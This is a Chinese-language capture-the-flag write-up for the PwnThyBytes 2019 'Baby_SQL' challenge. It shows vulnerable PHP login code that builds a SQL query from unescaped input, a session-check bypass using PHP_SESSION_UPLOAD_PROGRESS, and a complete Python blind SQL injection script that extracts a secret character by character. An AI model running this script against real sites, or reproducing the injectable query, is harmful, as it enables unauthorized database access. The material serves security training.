[PwnThyBytes 2019]Baby_SQL
源码
login.php
<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);
function auth($user)
{
$_SESSION['username'] = $user;
return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
?>
解题步骤
首先,f12可以看到源码/source.zip
。
index.php里面,会将我们输入的数据加上转义。但是没有在别的地方用到二次注入。
register.php里面,只能用admin注册。
然后发现login.php没有任何过滤。
这就需要伪造session来绕过index.php的转义。
直接访问login.php
在phpsession里如果在php.ini中设置session.auto_start=On,那么PHP每次处理PHP文件的时候都会自动执行session_start(),但是session.auto_start默认为Off。与Session相关的另一个叫session.upload_progress.enabled,默认为On,在这个选项被打开的前提下我们在multipart POST的时候传入PHP_SESSION_UPLOAD_PROGRESS,PHP会执行session_start()
------https://blog.csdn.net/SopRomeo/article/details/108967248
直接盲注脚本一步到胃:
import requests
url='http://333929e3-c74b-4419-979c-b140d09a4b9b.node4.buuoj.cn:81/templates/login.php'
files={"file":"123"}
data={"PHP_SESSION_UPLOAD_PROGRESS":"123"}
cookies={"PHPSESSID":"123"}
result = ''
i = 1
while(1):
left = 32
right = 128
while(1):
mid = (left + right) // 2
if left == right:
result += chr(left)
print(result)
i += 1
break
payload = {"username":'1"/**/or/**/if(ascii(substr((select/**/secret from flag_tbl),{},1))>{},1,0)#'.format(i, mid),
"password":"123"}
res = requests.post(url=url, files=files, data=data, cookies=cookies, params=payload).text
if 'meta' in res:
left = mid + 1
else:
right = mid
if(right == 32):
break
print('[*]Result ' + result)